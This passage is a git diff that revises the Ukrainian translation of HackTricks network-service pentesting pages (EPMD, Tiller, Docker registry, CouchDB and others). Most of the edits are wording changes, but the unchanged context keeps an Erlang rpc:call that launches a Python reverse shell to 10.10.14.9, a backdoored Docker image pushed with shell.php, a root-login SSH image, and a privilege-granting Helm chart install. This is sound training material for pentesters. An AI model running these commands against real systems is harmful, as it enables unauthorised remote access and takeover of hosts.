точки (наприклад, **NetworkVideoTransmitter** для IP-камери). У відповідь на відповідний Probe Цільова служба може надіслати **унікаст Probe Match**. Аналогічно, Цільова служба може отримати **мультикаст Resolve**, спрямований на ідентифікацію служби за назвою, на що вона може відповісти **унікаст Resolve Match**, якщо є цільовим об'єктом. У разі виходу з мережі Цільова служба намагається транслювати **мультикаст Bye**, сигналізуючи про свій вихід. +При приєднанні до мережі Цільова служба оголошує про свою присутність, транслюючи **мультикаст Hello**. Вона залишається відкритою для отримання **мультикаст Probe** від Клієнтів, які шукають служби за Типом, унікальним ідентифікатором для кінцевої точки (наприклад, **NetworkVideoTransmitter** для IP-камери). У відповідь на відповідний Probe Цільова служба може надіслати **унікаст Probe Match**. Аналогічно, Цільова служба може отримати **мультикаст Resolve**, спрямований на ідентифікацію служби за назвою, на що вона може відповісти **унікаст Resolve Match**, якщо є цільовим об'єктом. У разі виходу з мережі Цільова служба намагається транслювати **мультикаст Bye**, сигналізуючи про свій вихід. ![](<../images/image (689).png>) diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index 314a791fb..45ef8c7fd 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -4,7 +4,7 @@ ## Основна інформація -Протокол **WHOIS** слугує стандартним методом для **запитів про реєстраторів або власників різних Інтернет-ресурсів** через специфічні бази даних. Ці ресурси охоплюють доменні імена, блоки IP-адрес та автономні системи, серед інших. Крім цього, протокол знаходить застосування в доступі до більш широкого спектру інформації. +Протокол **WHOIS** слугує стандартним методом для **запитів про реєстраторів або власників різних Інтернет-ресурсів** через специфічні бази даних. Ці ресурси охоплюють доменні імена, блоки IP-адрес та автономні системи, серед інших. Крім цього, протокол знаходить застосування для доступу до більш широкого спектру інформації. **Порт за замовчуванням:** 43 ``` diff --git a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index c61dee566..2320003bd 100644 --- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION ## Віддалене з'єднання -Якщо ви зможете **викрити автентифікаційний кукі**, ви зможете виконати код на хості. Зазвичай цей кукі знаходиться в `~/.erlang.cookie` і генерується erlang при першому запуску. Якщо не змінений або не встановлений вручну, це випадковий рядок \[A:Z] довжиною 20 символів. +Якщо ви зможете **викрити автентифікаційний кукі**, ви зможете виконати код на хості. Зазвичай цей кукі знаходиться в `~/.erlang.cookie` і генерується erlang під час першого запуску. Якщо його не змінювали або не встановлювали вручну, це випадковий рядок \[A:Z] довжиною 20 символів. ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10] @@ -69,7 +69,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` Приклад взятий з [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ -Ви можете використовувати **Canape HTB machine to** **practice** як **використати цю уразливість**. +Ви можете використовувати **Canape HTB machine для** **практики** того, як **використати цю уразливість**. ## Metasploit ```bash diff --git a/src/network-services-pentesting/44134-pentesting-tiller-helm.md b/src/network-services-pentesting/44134-pentesting-tiller-helm.md index 3a5dc0c90..22a8d0dd0 100644 --- a/src/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/src/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -52,6 +52,6 @@ git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` -В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви знайдете **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви зможете побачити, як **всі привілеї надаються за замовчуванням токену**. +В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви маєте **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви можете побачити, як **всі привілеї надаються за замовчуванням токену**. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/44818-ethernetip.md b/src/network-services-pentesting/44818-ethernetip.md index cae6040b4..535a9b5ca 100644 --- a/src/network-services-pentesting/44818-ethernetip.md +++ b/src/network-services-pentesting/44818-ethernetip.md @@ -2,7 +2,7 @@ # **Інформація про протокол** -EtherNet/IP - це **промисловий Ethernet мережевий протокол**, який зазвичай використовується в **системах управління промисловою автоматизацією**. Він був розроблений компанією Rockwell Automation наприкінці 1990-х років і управляється ODVA. Протокол забезпечує **взаємодію систем від різних виробників** і використовується в різних застосуваннях, таких як **водоочисні споруди**, **виробничі підприємства** та **комунальні послуги**. Щоб ідентифікувати пристрій EtherNet/IP, запит надсилається на **TCP/44818** з **повідомленням про ідентичності (0x63)**. +EtherNet/IP є **промисловим протоколом мережі Ethernet**, який зазвичай використовується в **системах управління промисловою автоматизацією**. Він був розроблений компанією Rockwell Automation наприкінці 1990-х років і управляється ODVA. Протокол забезпечує **взаємодію систем від різних виробників** і використовується в різних застосуваннях, таких як **водоочисні споруди**, **виробничі підприємства** та **комунальні послуги**. Щоб ідентифікувати пристрій EtherNet/IP, запит надсилається на **TCP/44818** з **повідомленням про ідентичності (0x63)**. **Порт за замовчуванням:** 44818 UDP/TCP ``` diff --git a/src/network-services-pentesting/47808-udp-bacnet.md b/src/network-services-pentesting/47808-udp-bacnet.md index 6523956b4..ceec93737 100644 --- a/src/network-services-pentesting/47808-udp-bacnet.md +++ b/src/network-services-pentesting/47808-udp-bacnet.md @@ -9,7 +9,7 @@ PORT STATE SERVICE 47808/udp open BACNet -- Building Automation and Control NetworksEnumerate ``` -# Перерахування +# Перерахунок ## Вручну ```bash diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 7669c710b..f75960734 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -16,7 +16,7 @@ PORT STATE SERVICE **У 2018 році в цьому протоколі була виявлена критична вразливість, CVE-2018–0171. Рівень загрози становить 9.8 за шкалою CVSS.** -**Спеціально сформований пакет, надісланий на TCP/4786 порт, де активний Cisco Smart Install, викликає переповнення буфера, що дозволяє зловмиснику:** +**Спеціально підготовлений пакет, надісланий на TCP/4786 порт, де активний Cisco Smart Install, викликає переповнення буфера, що дозволяє зловмиснику:** - примусово перезавантажити пристрій - викликати RCE diff --git a/src/network-services-pentesting/49-pentesting-tacacs+.md b/src/network-services-pentesting/49-pentesting-tacacs+.md index 171e67b76..48c86f098 100644 --- a/src/network-services-pentesting/49-pentesting-tacacs+.md +++ b/src/network-services-pentesting/49-pentesting-tacacs+.md @@ -4,7 +4,7 @@ ## Основна інформація -Протокол **Terminal Access Controller Access Control System (TACACS)** використовується для централізованої перевірки користувачів, які намагаються отримати доступ до маршрутизаторів або серверів доступу до мережі (NAS). Його оновлена версія, **TACACS+**, розділяє послуги на автентифікацію, авторизацію та облік (AAA). +Протокол **Terminal Access Controller Access Control System (TACACS)** використовується для централізованої валідації користувачів, які намагаються отримати доступ до маршрутизаторів або мережевих серверів доступу (NAS). Його оновлена версія, **TACACS+**, розділяє послуги на аутентифікацію, авторизацію та облік (AAA). ``` PORT STATE SERVICE 49/tcp open tacacs diff --git a/src/network-services-pentesting/5000-pentesting-docker-registry.md b/src/network-services-pentesting/5000-pentesting-docker-registry.md index 06192b5e8..de2d41483 100644 --- a/src/network-services-pentesting/5000-pentesting-docker-registry.md +++ b/src/network-services-pentesting/5000-pentesting-docker-registry.md @@ -36,7 +36,7 @@ PORT STATE SERVICE VERSION ### HTTP/HTTPS -Docker registry може бути налаштований для використання **HTTP** або **HTTPS**. Тож перше, що вам, можливо, потрібно зробити, це **знайти, який з них** налаштовано: +Docker registry може бути налаштований для використання **HTTP** або **HTTPS**. Тож перше, що вам може знадобитися зробити, це **знайти, який з них** налаштовано: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS @@ -57,12 +57,12 @@ curl -k https://192.25.197.3:5000/v2/_catalog #If no authentication required {"repositories":["alpine","ubuntu"]} ``` -Якщо Docker Registry вимагає аутентифікації, ви можете [**спробувати зламати його за допомогою цього**](../generic-hacking/brute-force.md#docker-registry).\ +Якщо Docker Registry вимагає аутентифікації, ви можете[ **спробувати зламати його за допомогою цього**](../generic-hacking/brute-force.md#docker-registry).\ **Якщо ви знайдете дійсні облікові дані, вам потрібно буде використовувати їх** для перерахунку реєстру, в `curl` ви можете використовувати їх так: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` -### Enumeration using DockerRegistryGrabber +### Перерахунок за допомогою DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) - це інструмент на python для перерахунку / вивантаження реєстру docker (без або з базовою аутентифікацією) ```bash @@ -238,7 +238,7 @@ FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` -**Створіть** новий образ, **перевірте**, що він створений, і **виштовхніть** його: +**Створіть** новий образ, **перевірте**, що він створений, і **надішліть** його: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create @@ -259,7 +259,7 @@ docker cp 4c989242c714:/etc/ssh/sshd_config . ``` І змініть його, щоб встановити: `PermitRootLogin yes` -Створіть **Dockerfile** на зразок наступного: +Створіть **Dockerfile** подібний до наступного: {{#tabs}} {{#tab name="Dockerfile"}} @@ -271,7 +271,7 @@ RUN echo root:password | chpasswd {{#endtab}} {{#endtabs}} -**Створіть** новий образ, **перевірте**, що він створений, і **відправте** його: +**Створіть** новий образ, **перевірте**, що він створений, і **надішліть** його: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create diff --git a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index 9af6aa402..9f2134ac1 100644 --- a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -4,7 +4,7 @@ **Apache Hadoop** - це **відкритий фреймворк** для **розподіленого зберігання та обробки** **великих наборів даних** на **комп'ютерних кластерах**. Він використовує **HDFS** для зберігання та **MapReduce** для обробки. -На жаль, Hadoop не має підтримки у фреймворку Metasploit на момент документації. Однак ви можете використовувати наступні **Nmap скрипти** для перерахунку сервісів Hadoop: +На жаль, на момент документації Hadoop не має підтримки у фреймворку Metasploit. Однак ви можете використовувати наступні **Nmap скрипти** для перерахунку сервісів Hadoop: - **`hadoop-jobtracker-info (Порт 50030)`** - **`hadoop-tasktracker-info (Порт 50060)`** diff --git a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md index 2aa02885c..9d6e04538 100644 --- a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -2,7 +2,7 @@ ### **Вступ до протоколу LPD** -У 1980-х роках був розроблений **протокол Line Printer Daemon (LPD)** в Berkeley Unix, який пізніше був формалізований через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодії через команду `lpr`. Суть друку через LPD полягає в надсиланні **контрольного файлу** (для вказівки деталей завдання та користувача) разом з **даними файлу** (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір **різних форматів файлів** для даних файлу, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для Unix-подібних систем є **LPRng**. Варто зазначити, що протокол LPD може бути використаний для виконання **зловмисних PostScript** або **PJL друкованих завдань**. +У 1980-х роках був розроблений **протокол Line Printer Daemon (LPD)** в Berkeley Unix, який пізніше був формалізований через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодії через команду `lpr`. Суть друку через LPD полягає в надсиланні **контрольного файлу** (для вказівки деталей завдання та користувача) разом з **даними файлу** (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір **різних форматів файлів** для даних файлу, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для Unix-подібних систем є **LPRng**. Варто зазначити, що протокол LPD може бути використаний для виконання **зловмисних PostScript** або **PJL завдань друку**. ### **Інструменти для взаємодії з принтерами LPD** diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index c5f004955..87d6331d4 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -15,7 +15,7 @@ PORT STATE SERVICE ### **Функціонування DNS-SD** -DNS-SD полегшує виявлення мережевих сервісів, запитуючи записи вказівників (PTR), які відображають типи сервісів на їхні екземпляри. Сервіси ідентифікуються за допомогою шаблону **\_\.\_tcp або \_\.\_udp** в домені **.local**, що призводить до виявлення відповідних **SRV** та **TXT records**, які надають детальну інформацію про сервіс. +DNS-SD полегшує виявлення мережевих сервісів, запитуючи записи вказівників (PTR), які відображають типи сервісів на їхні екземпляри. Сервіси ідентифікуються за допомогою шаблону **\_\.\_tcp або \_\.\_udp** в домені **.local**, що призводить до виявлення відповідних **SRV** та **TXT записів**, які надають детальну інформацію про сервіс. ### **Дослідження мережі** @@ -35,7 +35,7 @@ sudo python3 pholus3.py [network interface] -rq -stimeout 10 ``` ## Атаки -### **Використання mDNS Проб** +### **Використання mDNS Пробування** Атакуючий вектор полягає у відправці підроблених відповідей на mDNS проби, що свідчить про те, що всі потенційні імена вже використовуються, тим самим ускладнюючи новим пристроям вибір унікального імені. Це можна виконати за допомогою: ```bash diff --git a/src/network-services-pentesting/554-8554-pentesting-rtsp.md b/src/network-services-pentesting/554-8554-pentesting-rtsp.md index f70c19ed1..b7329c55c 100644 --- a/src/network-services-pentesting/554-8554-pentesting-rtsp.md +++ b/src/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -6,9 +6,9 @@ З [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol): -> **Протокол потокового відео в реальному часі** (**RTSP**) - це протокол управління мережею, розроблений для використання в системах розваг і зв'язку для контролю серверів потокового медіа. Протокол використовується для встановлення та контролю медіа-сесій між кінцевими точками. Клієнти медіа-серверів видають команди у стилі VHS, такі як відтворення, запис і пауза, щоб полегшити реальний контроль над медіа-потоком від сервера до клієнта (Video On Demand) або від клієнта до сервера (Voice Recording). +> **Протокол реального часу потокового відео** (**RTSP**) - це протокол управління мережею, розроблений для використання в системах розваг і зв'язку для управління серверами потокового медіа. Протокол використовується для встановлення та контролю медіа-сесій між кінцевими точками. Клієнти медіа-серверів видають команди у стилі VHS, такі як відтворення, запис і пауза, щоб полегшити реальний контроль над медіа-потоком від сервера до клієнта (Video On Demand) або від клієнта до сервера (Voice Recording). > -> Передача потокових даних сама по собі не є завданням RTSP. Більшість RTSP серверів використовують Протокол передачі в реальному часі (RTP) у поєднанні з Протоколом контролю в реальному часі (RTCP) для доставки медіа-потоку. Однак деякі постачальники реалізують власні транспортні протоколи. Програмне забезпечення RTSP сервера від RealNetworks, наприклад, також використовувало власний протокол RealNetworks Real Data Transport (RDT). +> Передача потокових даних сама по собі не є завданням RTSP. Більшість RTSP серверів використовують Протокол реального часу передачі (RTP) у поєднанні з Протоколом контролю реального часу (RTCP) для доставки медіа-потоку. Однак деякі постачальники реалізують власні транспортні протоколи. Програмне забезпечення RTSP сервера від RealNetworks, наприклад, також використовувало власний протокол RealNetworks Real Data Transport (RDT). **Порт за замовчуванням:** 554,8554 ``` @@ -55,7 +55,7 @@ nmap -sV --script "rtsp-*" -p ### **Інші корисні програми** -Щоб здійснити брутфорс: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) +Для брутфорсу: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) [**Cameradar**](https://github.com/Ullaakut/cameradar) @@ -63,7 +63,7 @@ nmap -sV --script "rtsp-*" -p - Отримання їхньої публічної інформації (ім'я хоста, порт, модель камери тощо) - Запуск автоматизованих атак словникового типу для отримання їхнього маршруту потоку (наприклад, /live.sdp) - Запуск автоматизованих атак словникового типу для отримання імені користувача та пароля камер -- Генерація ескізів з них, щоб перевірити, чи є потоки дійсними, і щоб мати швидкий перегляд їхнього вмісту +- Генерація ескізів з них, щоб перевірити, чи є потоки дійсними, і мати швидкий перегляд їхнього вмісту - Спроба створити конвеєр Gstreamer, щоб перевірити, чи правильно вони закодовані - Виведення підсумку всієї інформації, яку міг отримати Cameradar diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index a49236a58..b41210038 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,7 +6,7 @@ З [документації](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) - це універсальний інструмент командного рядка, який дозволяє вам спілкуватися з пристроєм. Команда adb полегшує виконання різноманітних дій з пристроєм, таких як **встановлення та налагодження додатків**, і надає **доступ до оболонки Unix**, яку ви можете використовувати для виконання різноманітних команд на пристрої. +**Android Debug Bridge** (adb) - це універсальний інструмент командного рядка, який дозволяє вам спілкуватися з пристроєм. Команда adb полегшує виконання різноманітних дій з пристроєм, таких як **встановлення та налагодження додатків**, а також надає **доступ до оболонки Unix**, яку ви можете використовувати для виконання різних команд на пристрої. **Порт за замовчуванням**: 5555. ``` diff --git a/src/network-services-pentesting/5671-5672-pentesting-amqp.md b/src/network-services-pentesting/5671-5672-pentesting-amqp.md index 702ee9f4c..d6112d874 100644 --- a/src/network-services-pentesting/5671-5672-pentesting-amqp.md +++ b/src/network-services-pentesting/5671-5672-pentesting-amqp.md @@ -7,7 +7,7 @@ З [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html): > **RabbitMQ** - це **програмне забезпечення для черг повідомлень**, також відоме як _посередник повідомлень_ або _менеджер черг._ Простими словами; це програмне забезпечення, в якому визначені черги, до яких підключаються програми для передачі повідомлення або повідомлень.\ -> **Повідомлення може містити будь-яку інформацію**. Наприклад, воно може містити інформацію про процес або завдання, яке повинно початися в іншій програмі (яка може бути навіть на іншому сервері), або це може бути просто просте текстове повідомлення. Програмне забезпечення менеджера черг зберігає повідомлення, поки програма-отримувач не підключиться і не забере повідомлення з черги. Програма-отримувач потім обробляє повідомлення.\ +> **Повідомлення може містити будь-яку інформацію**. Наприклад, воно може містити інформацію про процес або завдання, яке повинно початися в іншій програмі (яка може бути навіть на іншому сервері), або це може бути просто просте текстове повідомлення. Програмне забезпечення менеджера черг зберігає повідомлення, поки приймаюча програма не підключиться і не забере повідомлення з черги. Приймаюча програма потім обробляє повідомлення.\ > Визначення з . **Порт за замовчуванням**: 5672,5671 @@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION 5672/tcp open amqp RabbitMQ 3.1.5 (0-9) ``` -## Перерахування +## Перерахунок ### Вручну ```python @@ -62,9 +62,9 @@ PORT STATE SERVICE VERSION - 15674: STOMP через WebSockets клієнти (тільки якщо увімкнено [Web STOMP плагін](https://www.rabbitmq.com/web-stomp.html)) - 15675: MQTT через WebSockets клієнти (тільки якщо увімкнено [Web MQTT плагін](https://www.rabbitmq.com/web-mqtt.html)) - 15692: метрики Prometheus (тільки якщо увімкнено [Prometheus плагін](https://www.rabbitmq.com/prometheus.html)) -- 25672: використовується для зв'язку між вузлами та інструментами CLI (порт сервера розподілу Erlang) і виділяється з динамічного діапазону (обмежений до одного порту за замовчуванням, обчислений як AMQP порт + 20000). Якщо зовнішні з'єднання на цих портах дійсно необхідні (наприклад, кластер використовує [федерацію](https://www.rabbitmq.com/federation.html) або інструменти CLI використовуються на машинах за межами підмережі), ці порти не повинні бути відкриті для публічного доступу. Дивіться [посібник з мережі](https://www.rabbitmq.com/networking.html) для деталей. **Лише 9 з цих портів відкриті в Інтернеті**. +- 25672: використовується для зв'язку між вузлами та інструментами CLI (порт сервера розподілу Erlang) і виділяється з динамічного діапазону (обмежений до одного порту за замовчуванням, обчислений як AMQP порт + 20000). Якщо зовнішні з'єднання на цих портах дійсно необхідні (наприклад, кластер використовує [федерацію](https://www.rabbitmq.com/federation.html) або інструменти CLI використовуються на машинах поза підмережею), ці порти не повинні бути відкриті для публічного доступу. Дивіться [посібник з мережі](https://www.rabbitmq.com/networking.html) для деталей. **Лише 9 з цих портів відкриті в Інтернеті**. - 35672-35682: використовуються інструментами CLI (порти клієнта розподілу Erlang) для зв'язку з вузлами і виділяються з динамічного діапазону (обчислені як порт розподілу сервера + 10000 через порт розподілу сервера + 10010). Дивіться [посібник з мережі](https://www.rabbitmq.com/networking.html) для деталей. -- 61613, 61614: [STOMP клієнти](https://stomp.github.io/stomp-specification-1.2.html) без і з TLS (тільки якщо увімкнено [STOMP плагін](https://www.rabbitmq.com/stomp.html)). Менше 10 пристроїв з цим портом відкритим, в основному UDP для DHT вузлів. +- 61613, 61614: [STOMP клієнти](https://stomp.github.io/stomp-specification-1.2.html) без і з TLS (тільки якщо увімкнено [STOMP плагін](https://www.rabbitmq.com/stomp.html)). Менше 10 пристроїв з цим портом відкритим і в основному UDP для DHT вузлів. ## Shodan diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 4ceb61830..fea4cd98f 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -11,19 +11,19 @@ PORT STATE SERVICE 548/tcp open afp ``` -### **Перерахування** +### **Перерахунок** -Для перерахування служб AFP корисні наступні команди та скрипти: +Для перерахунку служб AFP корисні наступні команди та скрипти: ```bash msf> use auxiliary/scanner/afp/afp_server_info nmap -sV --script "afp-* and not dos and not brute" -p ``` -**Скрипти та їх описи:** +**Скрипти та їхні описи:** - **afp-ls**: Цей скрипт використовується для переліку доступних обсягів та файлів AFP. - **afp-path-vuln**: Він перераховує всі обсяги та файли AFP, підкреслюючи потенційні вразливості. - **afp-serverinfo**: Це надає детальну інформацію про сервер AFP. -- **afp-showmount**: Він перераховує доступні спільні ресурси AFP разом з їх відповідними ACL. +- **afp-showmount**: Він перераховує доступні спільні ресурси AFP разом з їхніми відповідними ACL. ### [**Brute Force**](../generic-hacking/brute-force.md#afp) diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 4d06e8a1f..3b67c241e 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -4,9 +4,9 @@ ## **Основна інформація** -**CouchDB** є універсальною та потужною **документоорієнтованою базою даних**, яка організовує дані, використовуючи структуру **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або карти**, що забезпечує гнучкість у зберіганні та отриманні даних. +**CouchDB** є універсальною та потужною **документоорієнтованою базою даних**, яка організовує дані за допомогою структури **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або мапи**, що забезпечує гнучкість у зберіганні та отриманні даних. -Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер версії** (`_rev`). Цей номер версії дозволяє ефективно **відстежувати та управляти змінами**, полегшуючи отримання та синхронізацію даних у базі даних. +Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер ревізії** (`_rev`). Цей номер ревізії дозволяє ефективно **відстежувати та управляти змінами**, полегшуючи отримання та синхронізацію даних у базі даних. **Порт за замовчуванням:** 5984(http), 6984(https) ``` @@ -24,13 +24,13 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum ``` curl http://IP:5984/ ``` -Це надсилає GET-запит до встановленої інстанції CouchDB. Відповідь повинна виглядати приблизно так, як одна з наступних: +Це надсилає GET-запит до встановленої інстанції CouchDB. Відповідь повинна виглядати приблизно так: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] -> Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на кшталт: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки. +> Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на зразок: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки. ### Info Enumeration @@ -39,9 +39,9 @@ curl http://IP:5984/ - **`/_active_tasks`** Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу. - **`/_all_dbs`** Повертає список усіх баз даних у екземплярі CouchDB. - \*\*`/_cluster_setup`\*\* Повертає статус вузла або кластера, відповідно до майстра налаштування кластера. -- **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Наявність бази даних `_global_changes` є обов'язковою для використання цієї кінцевої точки. +- **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних `_global_changes` є обов'язковим для використання цієї кінцевої точки. - **`/_membership`** Відображає вузли, які є частиною кластера як `cluster_nodes`. Поле `all_nodes` відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера. -- **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання міститиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей. +- **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей. - **`/_scheduler/docs`** Список станів документів реплікації. Включає інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** @@ -53,7 +53,7 @@ curl http://IP:5984/ - \*\*`/_uuids`\*\* Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB. - \*\*`/_reshard`\*\* Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом повторного розподілу на кластері. -Більше цікавої інформації можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) +Більш цікаву інформацію можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Database List** ``` @@ -65,7 +65,7 @@ curl -X GET http://user:password@IP:5984/_all_dbs ``` Щоб знайти дійсні облікові дані, ви можете **спробувати** [**зламати сервіс**](../generic-hacking/brute-force.md#couchdb). -Це **приклад** відповіді couchdb, коли у вас є **достатньо привілеїв** для перегляду баз даних (Це просто список баз даних): +Це **приклад** відповіді couchdb, коли у вас є **достатні привілеї** для переліку баз даних (Це просто список баз даних): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` @@ -118,9 +118,9 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] Приклад [з тут](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластера. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Ця конфігурація формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами. +У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластера. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує 